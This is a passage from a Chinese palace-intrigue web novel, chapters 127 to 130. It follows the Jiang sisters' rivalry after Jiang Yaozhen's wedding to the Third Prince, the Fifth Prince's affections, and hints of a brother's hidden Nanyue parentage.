姜瑶真坐在梳妆台前,凝视镜中凤冠霞帔的自己,心中涌起一股得意。 她身上的珠宝首饰与婚服皆是萧修湛重新挑选更换的,尽显奢华,用料皆为上乘。 她暗自思忖,果然,想要成为人人艳羡的对象,还是得靠自己去争取。 贴身婢女春花提醒道:“二小姐,迎亲的队伍已到门口,咱们快些上花轿吧!” “稍等片刻。”姜瑶真瞥了她一眼,吩咐道,“去把我姐姐请来,今日是我大喜之日,怎能不让她亲眼瞧瞧?” “是,二小姐!”春花应声而去。 不多时,她便将姜姝宁带来,恭敬禀告:“二小姐,大小姐到了。” 姜姝宁站在门口,目光落在镜前的姜瑶真身上,淡淡问道:“妹妹唤我前来有何事?” 姜瑶真并未转身,只通过镜子看着她,语气中透着几分得意:“我听说姐姐打算此生不嫁,将来怕是无缘见到凤冠霞帔的新娘模样。今日我特意请姐姐过来一睹为快,也免得姐姐日后心有遗憾。” 姜姝宁唇角微微上扬,露出一抹若有若无的嘲讽笑意,语气平静:“多谢妹妹好意,今日真是让我长见识了呢。” 她心中却暗自腹诽:这姜瑶真,真是片刻不炫耀便活不下去。 真怀疑她上辈子是不是公孔雀,如此爱开屏。 姜瑶真继续说道:“姐姐,我知道你从小便不喜我。如今我总算要出嫁了,往后在这相府中再也见不到我,姐姐心里定然欢喜得很吧?” “确实挺高兴的。”姜姝宁微微一笑,眼底却闪过一抹不易察觉的阴冷,“从今往后,妹妹便是三皇子妃,与三皇子夫妻一体,荣辱与共。” 终于等到姜瑶真离开姜家。 日后她若犯错,姜家便无需再为她兜底。 而自己,也能毫无顾忌地放手行事,将她置于死地! 姜瑶真浑然未察觉姜姝宁眼底的杀意。 她仍沉浸在大婚的喜悦与得意之中,又忍不住添油加醋地嘲讽了姜姝宁几句,拐弯抹角地说了不少炫耀之词,这才心满意足地在春花的搀扶下,迈着轻快的步子出门,坐上花轿。 婚宴的宴席设在皇宫之中,华灯高悬,金碧辉煌。 姜瑶真被送亲队伍护送至皇宫,随即由宫人引入内殿,与三皇子萧修湛行合卺之礼。 出席婚宴的宾客皆是皇亲国戚,个个身份尊贵,场面热闹非凡。 其中,张尚书一家也在座。 张尚书的独子张霖笑吟吟地对张嫣道:“若不是姐姐与二皇子殿下定了亲,今日这般盛大的婚宴排场,我怕是无缘得见。将来姐姐与姐夫的婚宴,不知能否有如此气派?” 听到“姐夫”二字,张嫣脸上闪过一抹不自然的神色。 她始终难以接受,自己即将成为二皇子妃的现实。 幸好二皇子已率兵出征,未曾出现在这场婚宴,否则她只怕会更加局促不安。 她的目光不由自主地飘向皇子所在的那桌坐席。 那里,坐着她心中一直仰望却始终求而不得的那轮明月。 婚宴进行到大半,皇帝、太后与熙贵妃陆续离席,宴席上的气氛渐渐轻松起来。 相熟且关系亲近的大臣们聚在一起推杯换盏,谈笑风生,几位皇子也纷纷离开坐席,或到殿外散步消食,或寻个清静处醒酒。 张嫣手提一个食盒,神色如常地悄悄走出殿外,默默跟在一个身形颀长的男子身后。 待走到一处无人之地,她终于鼓足勇气,轻声开口:“五皇子殿下……” 那人缓缓转身,记忆中那张温润如玉、清隽如画的面容映入她的眼帘。 张嫣只觉心头如小鹿乱撞,抑制不住地,双颊泛起一抹激动的红晕。 萧怀瑾看清来人,眼中闪过一瞬不易察觉的失落。 但他很快敛去情绪,恢复如常,温和一笑:“张姑娘。” 张嫣闻言,心中一阵激动,声音略带颤抖:“殿下竟认得臣女?” 萧怀瑾微微颔首,语气平静:“二哥曾提过,他未来的皇子妃便是张尚书之女。如此算来,张姑娘还是我未来的二嫂,自然是要认得的。” 张嫣心底涌起一阵莫名的惆怅。 好不容易让他记住自己,却是以“二嫂”这样的身份。 她深吸一口气,稳住心绪,将手中的食盒递到他面前:“臣女听说殿下喜爱杏仁饼,恰好会做,便特意准备了一些。殿下若不嫌弃,请尝一尝。” “多谢张姑娘。”萧怀瑾接过食盒,掀开盖子,取出一块杏仁饼尝了一口,随即赞叹道,“张姑娘的手艺果然精湛,入口香甜,二哥日后有口福了!” 张嫣目不转睛地看着他,眼底流露出几分遗憾:“早知殿下喜欢杏仁饼,臣女那日在赏菊宴上便该备下糕点的。” 萧怀瑾闻言,略显意外:“赏菊宴那日,张姑娘也在场?” “是。臣女当日展示了刺绣才艺,只是殿下与其他皇子们的目光皆被姜家两位小姐的才艺吸引,未曾留意旁人。”张嫣语气中带着几分幽怨,“其实臣女的厨艺也不差,只是殿下未曾有机会品尝其他女子的手艺罢了。那姜家嫡长女,也并非多么与众不同。” 这话让萧怀瑾眉间染上一丝淡淡的不悦。 他将食盒递还给张嫣,语气温和却疏离:“张姑娘的心意我领了。只是日后这些吃食,还是留给二哥为好。我收下张姑娘的东西,终究于礼不合。” 说完,他便转身径直离去。 张嫣心中一阵不甘,忍不住对着他的背影喊道:“殿下为何如此钟情姜姝宁?除了厨艺,她究竟有何特别之处?” 萧怀瑾脚步微微一顿,缓缓转过身来。 “姝宁的厨艺确实并非顶尖,我也不会仅因一个女子厨艺出色便心生欢喜。”他神色温润如水,声音却透着几分认真,“说实话,我也不知自己为何心悦于她。但若真能说出理由,那便不是真正的喜欢了吧?不知这样的解释,张姑娘可还满意?” 张嫣藏在袖中的手掌紧紧攥起,指尖几乎嵌入掌心。 所以,即便她的厨艺不逊于姜姝宁,她终究还是输了吗? 此时,不远处一双窥探的眼睛正悄悄注视着这一幕。 姜瑶真在新房内等候萧修湛,左等右等不见人影,心中不耐,便吩咐春花去婚宴上探探情况。 春花回来时,恰巧撞见张嫣与萧怀瑾在婚宴外私下交谈的一幕。 回到麟阁宫,春花迫不及待地将此事添油加醋地禀报给姜瑶真:“小姐,您是没瞧见,那张姑娘当真不要脸面!都已是二皇子的未婚妻了,还巴巴地提着一盒饼去讨好五皇子殿下,简直不成体统!” 姜瑶真闻言,冷笑一声:“这倒是有趣。一个定了亲的女子,竟还恋慕五皇子殿下,巴巴地送吃食过去讨好,脸面都不要了。” “可不是嘛!”春花接着附和,“那张姑娘还真是贪心不足,都跟二皇子有婚约在身了,还敢勾搭五皇子殿下。临了还追着问,五皇子到底喜欢大小姐什么!好歹也是个定了亲的人,竟还好意思吃大小姐的醋!” “吃醋好啊!”姜瑶真眼底闪过一抹阴郁的光芒,嘴角微微上扬,露出一丝意味深长的笑意。 她正愁那毒药该如何神不知鬼不觉地下给萧凌川,如今眼前不是有个现成的人可以利用吗? 第127章 怎会生得如此相像? 第一百二十七章 怎会生得如此相像? “大姐姐,你到底要带我去哪儿?”姜天泽笑着问。 姜姝宁兴致盎然:“难得你有机会进宫一趟,我带你去御花园瞧瞧。那里的花匠手艺非凡,能让珍稀名花一年四季都盛开不败。” 姜天泽闻言,脸上浮现一抹柔和的笑意,没有再多言。 比起御花园里的那些花,他更想多看几眼身旁的她。 在他眼中,她可比花美多了。 另一边,萧怀瑾正沿着小径前往御花园散步消食。 远远地,他瞥见一个熟悉的身影,眼前不由得一亮——姜姝宁? 她身着一袭月牙色长裙,显得格外清雅脱俗,脸上挂着明媚的笑,正与身旁一名男子有说有笑地交谈着。 而那名男子…… 萧怀瑾眉心微蹙:那不是四哥萧凌川吗? 姜姝宁一时不察,脚下踏空险些摔倒,幸好身旁的姜天泽眼疾手快,一把扶住了她。 “大姐姐,小心些。”他的手停留在她的腰间,似有几分不舍,迟迟未曾松开。 “四哥,请自重!”萧怀瑾远远瞧见这一幕,再也按捺不住心中怒火,疾步上前,语气中带着显而易见的愠怒。 然而,当他走近看清姜天泽的面容时,不由得一怔。 这人并非他的四哥萧凌川。 可为何生得如此像他? “五皇子殿下!”姜姝宁见到他,惊讶地出声,随即转头对姜天泽道,“快,见过五皇子殿下!” 姜天泽心中暗想,原来这就是大姐姐三天两头进宫去见的人? 不过比寻常书生多了一分贵气罢了,若非生在帝王之家,这份气度怕也难有。 他虽心中腹诽,面上却丝毫不露,恭敬地朝萧怀瑾行了一礼:“天泽见过五皇子殿下!” 姜姝宁笑意盈盈地对萧怀瑾介绍道:“殿下,这是我三弟,姜天泽。” “三弟?”萧怀瑾闻言,下意识地多打量了姜天泽几眼,心中疑虑未消。 这人竟比他这个亲兄弟还要像四哥。 “殿下,怎么了?”姜姝宁察觉到他神色有异,忍不住问道。 “姜姑娘,恕我直言,我觉得令弟……”萧怀瑾略一迟疑,还是开口道,“与我四哥有几分相似。” 同样的眉眼深邃,鼻梁挺拔如峰,脸部线条锋利而流畅,透着一股格外张扬的俊美。 姜姝宁却不以为意,笑着道:“大约长得好看的人,总有几分相似之处吧?” 听到这话,萧怀瑾眼中闪过一抹黯然。 他轻声问道:“那姜姑娘觉得,我与四哥像吗?” “不像。”她脱口而出,随即意识到自己的失言,赶忙补救道,“臣女并非说殿下不好看,只是……您与四皇子殿下的气质截然不同!您自然有您独一无二的好看!” 萧怀瑾微微一笑,似乎察觉到她的窘迫,温和地替她解围:“我与四哥生母不同,长得不像也在情理之中。别说我与四哥,便是与其他兄弟,也没什么相似之处。” “殿下说得极是。天泽能与四皇子殿下有几分相像,不过是巧合罢了。”姜姝宁顺着他的话道。 姜天泽不愿自家大姐姐与萧怀瑾多说半句,故意开口道:“大姐姐,我不想看花了,身上有些乏,想早些回家。” “好,那我陪你一同回去。”姜姝宁转头对萧怀瑾歉然道,“殿下,我们便先行告退了。” “姜姑娘,那两只白兔,你养得如何了?”萧怀瑾不愿她就此离去,主动找话留人。 一提白兔,姜姝宁神色微微一僵,面露难色:“殿下,那两只兔子……是臣女无能,臣女不会养,它们都已经……不在了。” “不在了?”萧怀瑾脸上浮现一抹惋惜之色,“真是可惜。” 姜天泽忽而插话,笑嘻嘻地道:“大姐姐,方才我吃了一道烤兔肉,可总觉得不如你做的麻辣兔肉香!” 此言一出,萧怀瑾脸色骤然一沉。 姜姝宁狠狠瞪了姜天泽一眼,心中暗恼:这时候提什么不好,偏提这个! 她连忙解释:“殿下,我三弟他……并非那个意思!那两只兔子死后,我让婢女将它们埋在后院,绝未将它们做成菜肴!” 萧怀瑾的神色这才缓和下来,温和道:“我自然明白,姜姑娘绝非那样的人。兔子体弱,确实不易养活。我如今在宫里养着小鹿,那日见你颇为喜欢,不如送给你如何?” 她还未及婉拒,姜天泽又抢着开口:“烤鹿腿我可是爱吃的!” “天泽!”姜姝宁气恼地低喝他的名字,随即转向萧怀瑾,忙道,“殿下莫要见怪,我三弟年纪小,满脑子只想着吃。不过,那小鹿还是殿下自己养着吧,我从未养过,怕养不好,辜负殿下的心意。” “大姐姐不必推辞殿下的好意,若是将鹿不小心养死了,还可以做成……” 姜姝宁生怕姜天泽再口无遮拦说出令人误会的话,急忙打断,对萧怀瑾道:“殿下,我们先告退了!” 说罢,她拽着姜天泽快步离开。 萧怀瑾目送他们的背影渐行渐远,心中涌起一股莫名的情绪。 他能清楚地感受到,姜天泽对他并无好感。 正如萧凌川对他一样。 姜姝宁拉着姜天泽往出宫的方向走去,没想到迎面竟撞上了萧凌川。 她连忙俯身行礼:“臣女见过四皇子殿下!” 萧凌川的目光在姜天泽身上短暂停留了片刻,随即转回姜姝宁身上,语气淡然:“婚宴尚未结束,姜姑娘怎的急着离去?” “回殿下的话,臣女的三弟有些乏了,臣女想带他早些回去。”姜姝宁恭敬答道。 姜天泽抬眼打量萧凌川,待看清他的面容后,心中不由一震。 这就是传闻中带有南月血脉的四皇子? 可他为何与自己长得如此相似? 莫非…… 吃惊的不止姜天泽一人。 此前姜姝宁便隐约觉得萧凌川与姜天泽有几分相似,只是未曾细想。 姜天泽是个清隽少年,而萧凌川虽年仅二十出头,眉宇间却已隐隐流露出深沉的心机,在她心中是截然不同的两人。 如今两人站在一处,那过分相似的眉眼与轮廓让她心头猛地一跳。 两个毫无血缘之人,怎会生得如此相像? 尽管气质迥异,但那面容却仿佛出自同一个模子雕刻而成。 如今的萧凌川二十一岁,正好比姜天泽年长五载。 姜姝宁甚至可以毫不怀疑地断言,萧凌川十五六岁时,定然就是姜天泽如今的模样! 她的思绪被千头万绪的猜测缠绕,一时间竟忘了提醒姜天泽向萧凌川请安。 萧凌川再次扫了姜天泽一眼,神色冷冽,语气中透着不悦:“这就是姜家三少爷?怎的半点礼数也不懂,见了人不行礼!” 姜天泽猛地回过神来,忙拱手行礼:“天泽见过四皇子殿下!” “我三弟初次进宫,不懂规矩,还望殿下恕罪!”姜姝宁连忙解释道。 “看在他是你三弟的份上,本皇子暂不计较。只是,恕我直言,作为姜家继承人,你这三弟还需好好管教一番!”萧凌川目光如刀,令人不寒而栗。 姜天泽低着头不敢直视,萧凌川身上散发出的压迫感让他心头一紧。 他暗自纳闷:如今南月与大邺交恶,一个身上流着南月血脉的皇子,怎会有如此底气和傲气? “殿下所言极是,臣女回去定会与父亲一同严加管束三弟。”姜姝宁咬着牙应下,心中却有些不悦。 这萧凌川,端什么皇子架子? 萧凌川训完话,转身欲走,却被姜姝宁叫住:“殿下,请借一步说话!” 第128章 到头来还是输了 第一百二十八章 到头来还是输了 两人走到宫道旁一处僻静的角落,姜姝宁开门见山地问:“殿下难道不觉得,我三弟与您长得有几分相似?” 萧凌川知道姜天泽身具南月血统,对他与自己容貌相似并不意外。 南月人生来面容瑰丽,远非大邺人可比,两个南月人在大邺人眼中长得像也不足为奇。 他故意装糊涂,反问道:“是吗?我怎么没看出来?” 见他有意回避,姜姝宁深吸一口气,压下心头的不满,继续追问:“殿下当初为何指使张尚书和张姑娘给我三弟下毒?是否与他的容貌有关?殿下究竟知道我三弟什么秘密?” “姜姑娘不是一直认定,我给你三弟下毒,是为了拿捏你吗?”萧凌川似笑非笑,语气中带着几分揶揄,“怎么,如今对自己曾经深信不疑的猜测动摇了?” “我……”姜姝宁微微敛眸,“之前是臣女想得太简单。如今臣女只想从殿下口中得知真相。” “真相就是……”萧凌川忽然凑近她,压低声音道,“我给你三弟下毒,确实是为了更好拿捏你。至于容貌相似,我并不觉得你三弟与我有何相像之处。倒是听闻女子若钟情于某人,便会觉得身边人皆与他相似。姜姑娘,莫非你对我动了心,却不自知?” 这话挑 逗意味十足,姜姝宁的脸瞬间涨得通红。 “你……”未免也太自以为是了吧?! 她硬生生咽下后半句话,气恼地行了个礼,转身便走。 姜天泽见状,好奇地问道:“大姐姐,你和那四皇子殿下说了什么?” “没什么,不过是四皇子厚颜无耻而不自知罢了!”姜姝宁没好气地回道。 姜天泽一头雾水:“???” 在返回姜府的马车上,姜姝宁犹豫片刻,终是忍不住问道:“天泽,有个问题可能有些冒昧,但我还是想问你。” “大姐姐请说。” “三婶她……身上可有外族血统?比如……南月的血统?”她斟酌着用词,小心翼翼地问道。 姜天泽笑着道:“大姐姐真是说笑了。我母亲就是个普通的大邺女子,从小家境贫寒,后来被家人卖入青 楼,这辈子恐怕连南月人都不曾见过,又怎会有南月血统?” “是我想多了。”姜姝宁自嘲一笑,心中稍安。 当年南月贡女刺杀皇帝一事,事后,所有来到大邺的南月人,除了萧凌川的生母,几乎都被屠杀殆尽。 姜三夫人一个弱女子,又怎有可能在那场劫难中侥幸逃脱? 此时,姜天泽眼中却掠过一丝晦暗。 他回到相府西院。 姜三夫人迎上前来,笑着问:“今夜的婚宴,可玩得尽兴?” “尽兴!”姜天泽眼中满是向往,“母亲,我头一次进宫,才知皇宫竟如此巍峨壮丽,连那宫墙的红砖都别有风味……” “母亲晓得。”姜三夫人笑吟吟地应道。 姜天泽脸上的笑意骤然收敛,目光带着几分探究看向她:“母亲怎会晓得?莫非,母亲也去过皇宫?” 姜三夫人一愣,慌忙避开他的视线,语气轻描淡写:“我自然没去过,皇宫那等地方,哪是我能踏足的?” 见她不愿实话实说,姜天泽压低声音,试探道:“母亲,今夜我见到了四皇子殿下。没想到,我与他的容貌竟有几分相似。您说,我们会不会有血缘关系?” 姜三夫人闻言,身体猛地一颤,脸色变得有些不自然。 在儿子直勾勾的目光注视下,她仿佛无处遁形。 “母亲,您到底还瞒着我什么?我的亲生父亲,究竟是谁?”姜天泽追问道。 姜三夫人深深吸了一口气,似在平复心绪。 她缓缓开口:“我本不想将此事告诉你,免得徒增你的烦恼。但如今,既然你已有所察觉,我也不愿再隐瞒。” 她说着,凑到姜天泽耳边,将一切和盘托出…… 麟阁宫内,喝得醉醺醺的萧修湛在随从的搀扶下,摇摇晃晃地走进新房。 一身大红喜服的姜瑶真早已坐在床边,静静等候多时。 他走上前,拿起玉如意,轻轻掀开她的盖头,映入眼帘的是一张绝色容颜。 她本就生得美艳,如今新娘妆更添几分风华,令人移不开目光。 萧修湛眯起醉眼,由衷赞叹道:“你真是本皇子见过的最美的女子。” 姜瑶真闻言,嫣然一笑,脸上浮现出几分得意。 她身具南月血统,容貌自然比大邺女子更为出众。 “既然殿下觉得妾身美,那殿下可愿为妾身遣散后院那些妾室?”她柔声问道,眼中却闪着试探的光芒。 这话一出,萧修湛的酒意顿时醒了大半。 他常年流连花丛,比谁都清楚,再美的容颜也有看腻的一天。 若遣散了后院的美人,岂不是日后只能面对眼前这一张脸? “真儿莫不是吃醋了?”他似笑非笑道,“可本皇子将来是要问鼎天下的,到时后宫佳丽三千,可远比如今后院的人数多得多。真儿若连这点胸怀都没有,又怎能母仪天下?” “殿下此言差矣。”姜瑶真不急不缓地反驳,“将来殿下若成为大邺的君王,纳的嫔妃皆是大臣家眷,对殿下稳固江山大有助益。可如今,殿下后院那些妾室不过是些身份低微的美人,除了稍有些姿色以外,半点用处也没有。妾身让殿下遣散她们,并非出于吃醋,而是为殿下的声誉着想!” “我看你是为自己着想吧?”萧修湛酒气上头,言语变得尖锐无比,“才刚嫁给本皇子,就敢提出遣散后院的要求,你胆子不小!她们跟了本皇子多久,你又跟了本皇子多久?我劝你以后这样的想法少提,否则,本皇子对你不客气!” 说完这话,他猛地站起身,连交杯酒也不喝,头也不回地离开了新房。 姜瑶真万万没想到会是这样的结果,气得胸口起伏,猛地将桌上的酒杯摔到地上,碎裂声在寂静的新房中格外刺耳。 春花和宋嬷嬷听到房内的动静,急忙跑了进来:“王妃娘娘,殿下怎没留在您房里过夜?大婚之夜新郎不宿于婚房,怕是不吉啊!” 姜瑶真满脸怒气,咬牙道:“我不过要求他遣散后院那些不三 不四的女子,难不成还有错?他竟冲我发脾气,还故意拂袖而去!在他眼中,我竟连那些女人都比不上吗?” “这……”宋嬷嬷面露难色,斟酌着开口,“王妃娘娘,您嫁给殿下之前,便知他后院养着不少妾室,为何偏在这时候提出这样的要求?” 姜瑶真冷哼一声,眼中闪过一丝厌恶:“我就是不想让姜莲那贱人在我眼皮子底下晃悠!一想到那贱人长得与姜姝宁有几分相似,我心里就堵得慌!” 宋嬷嬷叹了口气,苦口婆心地劝道:“王妃娘娘,您刚嫁入王府,立足未稳便向殿下提这样的条件,确实不易让殿下接受。此事还需沉住气,徐徐图之。明日您不妨与殿下说几句软话,否则在这宫中,恐无人能护得住您。” 姜瑶真听罢,心中虽有不甘,却也只能压下情绪,语气低落道:“我明白了。忙碌了一天,我也乏了,帮我宽衣洗漱吧。” “是,王妃娘娘。”春花与宋嬷嬷应声,上前服侍。 萧修湛步履不稳地来到姜莲的房中,身上还带着浓郁的酒气。 见到他,姜莲眼中闪过一丝意外,柔声问道:“今日不是殿下的大婚之日吗?殿下怎会到我这里来?” 萧修湛上前一把将她拥入怀中,语气中满是恼意:“别提了,你那妹妹真是不懂事!本皇子才刚掀开她的盖头,她便张口要我遣散后院的美人。仗着自己有几分姿色,就敢对我指手画脚!本皇子今夜就是要晾着她,挫挫她的傲气!” 姜莲轻笑出声,纠正道:“殿下,王妃娘娘是我的姐姐,并非妹妹。” 可萧修湛像是没听见她的话,醉眼迷 离地凝视着她的脸,喃喃道:“姝宁,你性格温婉,若你是我皇妃,定不会这般任性。” 姜莲心头一怔,顿时明白了——他竟将自己错认成了大姐姐姜姝宁。 她唇角微微上扬,勾起一抹嘲讽的笑意,心中暗道:二姐姐,你争来抢去,到头来不还是输给了大姐姐? 第129章 现世报来得如此之快 第一百二十九章 现世报来得如此之快 第二日天一亮,姜瑶真便唤来春花和宋嬷嬷:“快,帮我梳妆打扮,我要去见殿下!” 春花和宋嬷嬷面面相觑,有些欲言又止。 “你们怎么这幅表情?”姜瑶真忽然想到什么,脸色骤变,“殿下昨夜歇在哪了?” 春花犹豫片刻,低声道:“殿下……殿下昨夜歇在了……歇在了姜贵妾房中。” “什么?!”姜瑶真只觉一股血气直冲头顶,眼前阵阵发黑。 她新婚之夜,夫君竟然宿在了一个妾室房中! 还是姜莲那个贱人! 她猛地掀开被子,赤脚踩在冰凉的地上,将梳妆台上的瓶瓶罐罐尽数扫落在地,发出噼里啪啦的巨响。 “简直欺人太甚!” 麟阁宫里顿时鸡飞狗跳,姜瑶真的哭骂声传出老远。 熙贵妃很快便得了消息,命人将姜瑶真“请”到了自己殿中。 “皇子妃,你这是做什么?新婚第二天,就在宫里大吵大闹,成何体统?”熙贵妃冷声问。 姜瑶真双眼通红,满脸泪痕:“母妃!您要为我做主啊!大婚之夜,殿下他……他竟然去了姜莲那个贱人那里!这让我以后如何在宫中立足?他分明不把我放在眼里!” 熙贵妃叹了口气:“湛儿是男子,他喝醉了去贵妾房中也情有可原。你身为皇子妃,当有容人之量。昨夜之事,本宫自会训斥他。你先安心,莫要再闹了。” 见熙贵妃明显偏袒自己的儿子,姜瑶真怒火中烧:“既然母妃袒护殿下,那我便去禀告父皇!让父皇给我做主!” 熙贵妃一听脸色骤变,猛地一拍桌子:“放肆!这种家宅内闱之事,也敢拿到皇上面前去说?你是嫌皇家的脸面丢得还不够吗?来人,皇子妃言行无状,罚她在前厅跪一个时辰,好好反省!” 萧修湛宿醉醒来,见自己竟留宿在姜莲房中,心里本来对姜瑶真还有一丝愧疚。 可当宫人将熙贵妃殿中的事情,尤其是姜瑶真扬言要告御状一事禀报后,他那点愧疚顿时烟消云散,只剩下满心的厌烦和鄙夷。 “不知所谓的东西,还真把自己当盘菜了!” 他冷哼一声,索性眼不见为净,之后几日更是连姜瑶真的房门都不踏入一步,夜夜宿在不同的妾室房中,独独将她这个正妃晾在一旁。 宫人们都是捧高踩低的,见三皇子妃一进门就失了宠,连贵妃娘娘都罚了她,对她的态度便愈发怠慢起来。 送来的膳食不是冷了就是不合口味,衣裳首饰也都是挑剩下的,甚至连日常用品都比别处少了几分。 姜瑶真在麟阁宫的日子,过得竟比在相府做姑娘时还要憋屈百倍。 好不容易熬到归宁,姜瑶真一踏进相府大门,便再也忍不住,扑到姜夫人怀里嚎啕大哭,将这几日受的委屈一股脑儿地倾泻而出。 姜丞相站在一旁,看着女儿这副模样,只能连连叹气,脸上满是无奈。 毕竟是自己养大的孩子,姜夫人心中不忍,安慰道:“真儿,莫哭了。我和你父亲虽然一直都不希望你嫁给三皇子,但如今木已成舟,你是三皇子妃,自然要好好和他过日子。” “我倒是想好好和他过日子,可他压根就不想!”姜瑶真哭得抽抽噎噎,上气不接下气。 正哭诉间,姜姝宁款步走了进来。 一看到她,姜瑶真“蹭”地从姜夫人怀里挣脱出来,伸手指着姜姝宁,声嘶力竭道:“姐姐!是不是你?是不是你把姜莲那贱人送到三皇子身边的?她如今得了宠,你称心如意了吧?!” 此言一出,姜丞相和姜夫人的脸色皆是骤变。 姜夫人惊愕地看向姜瑶真:“你说什么?二房家的姜莲……她被三皇子收了?这是什么时候的事?” “就在女儿嫁给三皇子前几日!那贱人就已经爬上了三皇子的床,成了他的贵妾!”姜瑶真死死地盯着姜姝宁,眼神像是要喷出火来,不依不饶地哭喊道,“姐姐她是知道的!” 姜夫人看向姜姝宁,一脸紧张:“宁儿,你妹妹说的……可是真的?” 姜姝宁神色平静,声音清冷如常:“母亲,女儿的确知晓姜莲堂妹嫁予三皇子殿下为妾一事。但此事与女儿毫无关系,亦非女儿所为。” “父亲母亲都在这里,你自然不会说实话!”姜瑶真又气又委屈,指着姜姝宁的手指都在颤抖,“你难道不知道对一个已婚女子而言,夫君的宠爱有多重要吗?如今三皇子的心思都在那姜莲身上,日日与她痴缠,这麟阁宫里,我这个正妃哪里还有半分地位可言?!” 姜姝宁看着姜瑶真这副气急败坏、几近癫狂的模样,心中不禁冷笑一声。 当初为了和萧修湛定亲,她机关算尽,甚至不惜牺牲姜天恩的性命。 真是没想到,这现世报来得竟是如此之快。 “妹妹莫要以己度人,我可想不出那么龌龊的招数对付你!” “以己度人?”姜瑶真气得胸口起伏,“姜莲那贱人长得跟你一个模样,三皇子对她百般宠爱,你心里是不是很得意?” “够了!”姜丞相沉声喝止,脸色铁青,“真儿,宁儿是你姐姐,你说话注意点分寸!这事还没查清楚,你就这么咄咄逼人,成何体统?” 姜夫人连忙拉住她的手,息事宁人道:“真儿,母亲明白你受了委屈,但也不能随意指责你姐姐。她一个未出阁的女子,怎可能插手三皇子的后院之事?况且,姜莲是二房的人,二房与宁儿素来不和,宁儿怎会帮二房做这样的事?” 姜瑶真顿时泪如雨下:“姐姐是母亲的亲生女儿,母亲自然偏向她。真儿命苦,受了天大的委屈,也只能独自咽下!” 说罢,她用力挣脱姜夫人的手,头也不回地冲了出去,直奔来福酒楼。 她要去找自己的生母倾诉心中的苦楚。 姜瑶真离开后,姜姝宁很快便动身进宫。 与往日不同,她此行既非拜见太后,也非找萧凌川,而是径直前往三皇子萧修湛的麟阁宫。 方才姜瑶真的哭诉点醒了她。 原来,失去夫君的宠爱,对姜瑶真的打击如此之大。 既如此,自然要让她多经受这样的打击。 第130章 姐妹联手 第一百三十章 姐妹联手 萧修湛听闻姜姝宁来到麟阁宫,心中颇为意外。 她怎会主动前来?难道是为姜瑶真抱不平而来? 虽说他身为皇子,却也是姜家的女婿,归宁之日未陪妻子回娘家,确实容易落人话柄。 他本想让随从随意寻个借口将她打发走,可转念一想,这毕竟是她头一次踏足麟阁宫,心头不由得泛起一丝痒意,最终还是硬着头皮前去见她。 姜姝宁身着一袭浅青色长裙,发间仅插着一支素净的发簪,举手投足间透着落落大方的气度。 她微微屈身,恭敬行礼:“臣女见过三皇子殿下!” “免礼。”萧修湛轻声应道,目光却不由自主地细细打量起她来。 过去总觉得姜莲与她有几分相似,可如今近看,才发觉姜莲与她相比,实则相差甚远。 那感觉就像还没见过真品,就觉得赝品还不错,但见了真品,就知道无论赝品如何仿制,都难及真品半分珍贵与神韵。 姜姝宁并非不美,只是她不显山露水,无论衣着还是妆容,皆以素雅为主,仿佛有意掩去那份令人心动的容貌,不愿被人窥见。 姜姝宁自然察觉到他探究的目光,心中微感不适,却仍保持着恭谨之态,开口道:“殿下,臣女今日前来,是有一桩不情之请。” “姜姑娘但说无妨。”萧修湛语气和缓,掩去眼底的波澜。 “臣女的三妹姜莲如今是殿下妾室,臣女知晓她并无归宁的资格。只是二叔二婶如今膝下仅此一女,思念之情实在难耐,臣女斗胆恳请殿下开恩,允姜莲回娘家一趟。” 原来并非兴师问罪。 萧修湛暗自松了一口气,随即颔首道:“此事无妨。稍后我便命姜莲收拾行装,择日回娘家探亲。” “多谢殿下!”姜姝宁再次行礼,随即转身欲走,却被萧修湛出声唤住。 “姜姑娘不进殿饮杯茶再走吗?姜莲正在殿中,你们姐妹也好叙叙旧。”他语带试探,目光中隐隐透着几分期盼。 “改日吧。”姜姝宁面上带着温和却疏离的笑意,婉拒道,“如今妹妹瑶真归宁,我这做姐姐的,自当多陪陪她才是。” 萧修湛尚不知她们姐妹间的龃龉,听不出这是托辞,只微微一笑:“理应如此。只是令妹性子有些刁蛮,入宫后也多有不守规矩之处,她若说了什么不中听的话,还望姜姑娘与姜丞相莫要放在心上。” “自是不会。”姜姝宁微微一礼,便转身离去。 萧修湛凝望着她渐远的背影,心中竟生出一丝不舍。 他却不知,此刻姜姝宁的脸上,已掠过一抹阴郁之色,眉眼间尽是复杂难明的情绪。 萧修湛一回到殿中,便对姜莲道:“你父母思念你心切,特意让你大姐进宫来求我,讨一个让你归家的机会。我已允了,你择日回府探亲吧!” 姜莲闻言,眼中闪过一丝诧异之色。 她的父母眼中从来只有那些丰厚的聘礼,哪里会真正思念她? 那便只有一个可能。 想让她出宫的,是她的大姐姐姜姝宁。 “多谢殿下恩准。”姜莲唇角微微上扬,勾起一抹意味深长的笑意。 既如此,不妨去看看,大姐姐到底有何打算! 几日后,姜莲果然回了娘家一趟。 姜姝宁得知消息后,迅速让凌芜给她传了信,约她在会客茶楼一见。 姜莲抵达时,姜姝宁已早在雅间中等候。 桌上摆满了精致的糕点和上好的茶水,姜莲扫了一眼,脸上露出满意的笑:“大姐姐真是破费了。” 若是从前,她连做梦都不敢想,自己有朝一日能踏足这样的地方,享用这般精致的茶点。 果然攀上高枝就是好,连身为相府嫡女的大姐姐也开始拉拢自己了。 “自家姐妹,何须客套。”姜姝宁轻笑一声,亲手为她斟了一杯茶,“这是此地有名的云山茶,口味清冽,回味甘甜,还能养目提神,你尝尝看。” 姜莲接过茶盏,轻轻啜了一口,果然茶香扑鼻,令人心旷神怡。 “茶确实好喝。不过,大姐姐特意请莲儿前来,怕是有事要吩咐吧?”她放下茶盏,直截了当地问道。 姜姝宁微微一笑,眼中闪过一丝赞赏:“你果然聪慧。我今日约你来,是有两件事要与你说。第一件,你二哥的死与我无关,我未曾唆使四皇子雇凶害他,四皇子也不屑做这等事。我不在乎旁人如何看我,但你绝不能误会。” 只有姜莲对她没有芥蒂,她才有可能帮自己做接下来的事。 姜莲垂下眼帘,语气平静:“大姐姐,我明白,二哥之死与你无关。” 她的父母之所以揪着此事不放,不过是想借机理直气壮地向姜丞相索要家产罢了。至于后来散布谣言闹事,也不过是想巴结姜瑶真,讨些好处。 “既如此,第二件事我便直言相告,请你相助。”姜姝宁说着,将一个盖着白布的竹篮放在桌上。 姜莲心中好奇,伸手掀开白布,一瞥之下,顿时头皮一麻,惊得险些失声:“大姐姐,你这是……” 